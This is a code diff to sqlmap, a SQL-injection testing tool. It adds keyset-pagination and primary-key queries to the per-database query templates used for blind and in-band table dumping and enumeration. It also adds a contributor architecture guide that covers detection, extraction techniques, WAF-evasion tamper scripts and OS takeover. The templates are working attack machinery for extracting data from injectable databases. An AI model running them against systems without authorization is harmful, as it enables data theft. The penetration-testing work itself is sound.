<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT TOP 1 %s FROM %s WHERE %s ORDER BY %s" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')" query="SELECT name FROM (SELECT c.name AS name, ROW_NUMBER() OVER (ORDER BY ic.key_ordinal) AS rn FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id JOIN sys.columns c ON ic.object_id=c.object_id AND c.column_id=ic.column_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')) x WHERE rn=%d+1"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
|
||||
@@ -287,6 +303,11 @@
|
||||
<inband query="SELECT SQL_TEXT FROM V$SQL"/>
|
||||
<blind query="SELECT SQL_TEXT FROM (SELECT SQL_TEXT,ROWNUM AS CAP FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%') WHERE CAP=%d" count="SELECT COUNT(SQL_TEXT) FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%'"/>
|
||||
</statements>
|
||||
<!-- NOTE: ALL_SOURCE stores one row per source line, so LISTAGG reassembles them (subject to its 4000-char limit). ORACLE_MAINTAINED='N' (12.2+) cleanly excludes every Oracle built-in schema (SYS, WMSYS, LBACSYS, DVSYS, ...) instead of a hand-maintained blocklist. -->
|
||||
<procedures>
|
||||
<inband query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s"/>
|
||||
<blind query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s ORDER BY NAME OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT COUNT(*) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N'))"/>
|
||||
</procedures>
|
||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||
<dbs>
|
||||
<inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/>
|
||||
@@ -302,7 +323,8 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
|
||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT c FROM (SELECT %s AS c FROM %s WHERE %s ORDER BY %s) WHERE ROWNUM=1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')" query="SELECT column_name FROM (SELECT cols.column_name, ROW_NUMBER() OVER (ORDER BY cols.position) AS rn FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')) WHERE rn=%d+1"/>
|
||||
</dump_table>
|
||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||
<search_db>
|
||||
@@ -362,7 +384,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s" rowid="rowid" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
</dump_table>
|
||||
<search_db/>
|
||||
<search_table>
|
||||
@@ -442,16 +464,16 @@
|
||||
<column_comment/>
|
||||
<is_dba query="CURRENT_USER='SYSDBA'"/>
|
||||
<users>
|
||||
<inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
|
||||
<inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
|
||||
</users>
|
||||
<tables>
|
||||
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
|
||||
</tables>
|
||||
<privileges>
|
||||
<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'"/>
|
||||
<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" condition="RDB$USER"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<statements/>
|
||||
@@ -726,7 +748,8 @@
|
||||
<inband query="SELECT column_name,type_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s' ORDER BY column_name" condition="column_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
@@ -790,7 +813,8 @@
|
||||
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition="COLUMN_NAME" query2="SELECT COLUMN_NAME,TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition2="COLUMN_NAME"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
@@ -1136,9 +1160,9 @@
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex query="TO_HEX(%s)"/>
|
||||
<inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version=">=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>/>
|
||||
<banner/>
|
||||
<banner query="version()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db/>
|
||||
<current_db query="current_schema"/>
|
||||
<hostname/>
|
||||
<table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
|
||||
<column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
|
||||
@@ -1321,7 +1345,7 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="ClickHouse">
|
||||
<cast query="CAST(%s AS String)"/>
|
||||
<cast query="CAST(%s AS Nullable(String))"/>
|
||||
<length query="length(%s)"/>
|
||||
<isnull query="ifNull(%s, '')"/>
|
||||
<delimiter query="||"/>
|
||||
@@ -1424,7 +1448,7 @@
|
||||
<passwords/>
|
||||
<privileges>
|
||||
<inband query="SELECT grantee,type FROM sys.privileges" condition="grantee"/>
|
||||
<blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee %s '%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee %s '%s'"/>
|
||||
<blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee='%s' ORDER BY 1 LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee='%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<statements>
|
||||
@@ -1445,7 +1469,8 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position LIMIT 1 OFFSET %d"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schema_name FROM information_schema.schemata WHERE %s" condition="schema_name"/>
|
||||
@@ -1713,6 +1738,7 @@
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (IF(%s,1,0))"/>
|
||||
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||
<banner/>
|
||||
<current_user/>
|
||||
<current_db/>
|
||||
@@ -1752,6 +1778,7 @@
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||
<banner query="sys_stat('st_dbms_name')||' - '||sys_stat('st_dbms_ver')"/>
|
||||
<current_user query="USERNAME()"/>
|
||||
<current_db query="UPPER(USERNAME())"/>
|
||||
@@ -1803,6 +1830,7 @@
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<banner query="CURRENT_VERSION()"/>
|
||||
<current_user query="CURRENT_USER()"/>
|
||||
<current_db query="CURRENT_SCHEMA()"/>
|
||||
|
||||
@@ -0,0 +1,237 @@
|
||||
# sqlmap architecture
|
||||
|
||||
A contributor-oriented map of how sqlmap is put together: the major components,
|
||||
how a run flows through them, and where to start looking for a given concern.
|
||||
|
||||
> This is a map, not a spec. It describes the durable structure and data flow; for
|
||||
> exact signatures, option names, and enumerable lists (tampers, DBMSes, options),
|
||||
> the source is authoritative. **When this document disagrees with the code, the code wins.**
|
||||
|
||||
sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal
|
||||
non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and
|
||||
`thirdparty/six`.
|
||||
|
||||
---
|
||||
|
||||
## 1. Entry points
|
||||
|
||||
| Entry | File | Purpose |
|
||||
|-------|------|---------|
|
||||
| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. |
|
||||
| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. |
|
||||
|
||||
`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for
|
||||
quirks/security - see below), `setPaths()`, `init()` (option parsing + environment
|
||||
setup), then dispatches to `start()` for a normal scan, or to the self-tests
|
||||
(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`.
|
||||
|
||||
---
|
||||
|
||||
## 2. Global state: `conf` and `kb`
|
||||
|
||||
Almost everything hangs off two process-global singletons defined in `lib/core/data.py`,
|
||||
both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`):
|
||||
|
||||
- **`conf`** - the resolved user configuration (options + derived settings). What the
|
||||
user asked for.
|
||||
- **`kb`** ("knowledge base") - mutable runtime state discovered during a run
|
||||
(identified DBMS, injection points, page templates, caches, locks, counters).
|
||||
|
||||
The configuration pipeline (`lib/core/`):
|
||||
|
||||
- `parse/cmdline.py` - argparse definition of every CLI option.
|
||||
- `core/optiondict.py` - option name -> type map (used for config-file/API coercion).
|
||||
- `core/defaults.py` - default values.
|
||||
- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`,
|
||||
`_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding
|
||||
setup, etc. Merges CLI + config file + defaults into `conf`/`kb`.
|
||||
- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.**
|
||||
|
||||
Identifiers in the codebase are camelCase.
|
||||
|
||||
---
|
||||
|
||||
## 3. Top-level layout
|
||||
|
||||
| Path | Responsibility |
|
||||
|------|----------------|
|
||||
| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing |
|
||||
| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) |
|
||||
| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing |
|
||||
| `lib/techniques/` | the exploitation engines: `blind/inference.py`, `error/use.py`, `union/{test,use}.py`, `dns/` |
|
||||
| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) |
|
||||
| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... |
|
||||
| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` |
|
||||
| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes |
|
||||
| `plugins/dbms/<dbms>/` | per-DBMS subclasses + dialect (one dir per supported DBMS) |
|
||||
| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file |
|
||||
| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` |
|
||||
| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) |
|
||||
| `tests/` | stdlib-unittest suite (offline); see section 11 |
|
||||
| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime |
|
||||
| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) |
|
||||
|
||||
---
|
||||
|
||||
## 4. The scan lifecycle (`lib/controller/controller.py: start()`)
|
||||
|
||||
For each target:
|
||||
|
||||
1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`):
|
||||
resolve URL/params, open the per-target output dir and session file
|
||||
(`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points,
|
||||
cached values) from the session.
|
||||
2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`,
|
||||
`checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` /
|
||||
dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`).
|
||||
3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint).
|
||||
4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by
|
||||
the data engine (section 5). Confirmed points are appended to `kb.injections`.
|
||||
5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the
|
||||
back-end DBMS and assigns `conf.dbmsHandler`, the object through which all
|
||||
enumeration is dispatched (section 7).
|
||||
6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation
|
||||
(`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to
|
||||
`conf.dbmsHandler` methods, and feeds results to `conf.dumper`.
|
||||
|
||||
If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`,
|
||||
`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as
|
||||
`SqlmapNotVulnerableException`.
|
||||
|
||||
---
|
||||
|
||||
## 5. The data-driven detection engine
|
||||
|
||||
Detection behavior lives in **data, not code** - `data/xml/`, loaded by
|
||||
`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`):
|
||||
|
||||
- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the
|
||||
clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts).
|
||||
- **`payloads/*.xml`** - the *tests*, one file per technique
|
||||
(`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`,
|
||||
`union_query`), each with the request template and the comparison/grep logic that
|
||||
decides success.
|
||||
|
||||
`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the
|
||||
identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`)
|
||||
forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/
|
||||
`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via
|
||||
`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false
|
||||
by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`,
|
||||
plus titles/errors/HTTP-code signals).
|
||||
|
||||
---
|
||||
|
||||
## 6. Exploitation techniques
|
||||
|
||||
Once a parameter is injectable, value extraction is dispatched by
|
||||
`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`:
|
||||
|
||||
| Technique | Engine | Mechanism |
|
||||
|-----------|--------|-----------|
|
||||
| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle |
|
||||
| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay |
|
||||
| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error |
|
||||
| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction |
|
||||
| inline query | (inline, via inject) | value embedded in the original query position |
|
||||
| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel |
|
||||
|
||||
`bisection()` is the hot loop; it caches the `--charset` table in
|
||||
`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch
|
||||
(intentional). Multi-threaded extraction is coordinated via `kb.locks` and
|
||||
`getCurrentThreadData()` (`lib/core/threads.py`).
|
||||
|
||||
---
|
||||
|
||||
## 7. DBMS abstraction
|
||||
|
||||
Enumeration is DBMS-agnostic at the top and specialized underneath:
|
||||
|
||||
- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`,
|
||||
`enumeration.py`, `databases.py`, `entries.py`, `users.py`, `filesystem.py`,
|
||||
`takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py`
|
||||
(direct DB connection for `-d`).
|
||||
- **`plugins/dbms/<dbms>/`** - one directory per supported DBMS, subclassing the generic
|
||||
pieces and supplying dialect specifics.
|
||||
- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table
|
||||
enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name;
|
||||
the dialect comes from XML.
|
||||
|
||||
`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into.
|
||||
|
||||
---
|
||||
|
||||
## 8. Output and session
|
||||
|
||||
- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables
|
||||
plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging
|
||||
is via `logger` (`lib/core/log.py`).
|
||||
- **Session / resume** - each target gets a SQLite session file
|
||||
(`<output>/<host>/session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()`
|
||||
(`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points,
|
||||
fingerprint, and extracted values so a re-run *resumes* instead of re-testing
|
||||
(`--flush-session` discards it; `--fresh-queries` ignores cached query results). A
|
||||
stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`.
|
||||
|
||||
---
|
||||
|
||||
## 9. Request layer and tampering
|
||||
|
||||
`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it:
|
||||
protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`,
|
||||
persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the
|
||||
comparison oracle (`comparison.py`).
|
||||
|
||||
**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS.
|
||||
Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c`
|
||||
chains them in priority order. They are payload-string transforms only (no engine
|
||||
coupling), which is why they compose freely.
|
||||
|
||||
---
|
||||
|
||||
## 10. REST API and JSON report
|
||||
|
||||
`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as
|
||||
subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry),
|
||||
an IPC SQLite `Database` (the subprocess writes results/logs/errors back through
|
||||
`StdDbOut`), and the route handlers (`/task/*`, `/option/*`, `/scan/*`, `/version`, ...).
|
||||
The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`.
|
||||
|
||||
`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`)
|
||||
that the `/scan/<id>/data` endpoint uses, so the CLI report and the API result can't
|
||||
drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer).
|
||||
|
||||
---
|
||||
|
||||
## 11. Tests and self-tests
|
||||
|
||||
Two complementary layers:
|
||||
|
||||
- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip),
|
||||
green on py2 + py3. `_testutils.py` bootstraps global state and provides the
|
||||
property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run:
